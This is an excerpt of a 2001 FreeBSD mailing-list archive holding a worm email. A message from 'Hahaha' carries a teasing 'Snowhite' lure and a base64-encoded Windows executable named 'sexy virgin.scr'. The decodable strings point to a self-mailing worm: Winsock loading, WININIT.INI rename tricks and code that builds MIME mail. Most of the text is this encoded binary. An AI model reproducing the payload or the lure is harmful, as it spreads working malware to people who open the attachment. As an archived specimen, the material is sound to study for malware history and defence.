AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VECHUNOX270T6NOHE34LAFGPM38LEB-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 0:27:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by hub.freebsd.org (Postfix) with ESMTP id 4F26B37B402 for ; Mon, 29 Jan 2001 00:27:06 -0800 (PST) Received: from pc6 ([63.198.206.36]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with SMTP id <0G7X00K990ML9Q@mta6.snfc21.pbi.net> for hackers@FreeBSD.ORG; Mon, 29 Jan 2001 00:23:12 -0800 (PST) Date: Mon, 29 Jan 2001 00:23:12 -0800 (PST) Date-warning: Date header was inserted by mta6.snfc21.pbi.net From: Hahaha Subject: Snowhite and the Seven Dwarfs - The REAL story! To: sthaug@nethelp.no, hackers@FreeBSD.ORG Message-id: <0G7X00K9A0ML9Q@mta6.snfc21.pbi.net> MIME-version: 1.0 Content-type: multipart/mixed; boundary="--VEKP2JGPAJWDYFGD63K96F81QZGTENG5" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----VEKP2JGPAJWDYFGD63K96F81QZGTENG5 Content-Type: text/plain; charset="us-ascii" Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and polite with Snowhite. When they go out work at mornign, they promissed a *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven Dwarfs enter... ----VEKP2JGPAJWDYFGD63K96F81QZGTENG5 Content-Type: application/octet-stream; name="sexy virgin.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sexy virgin.scr" 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 EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd 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 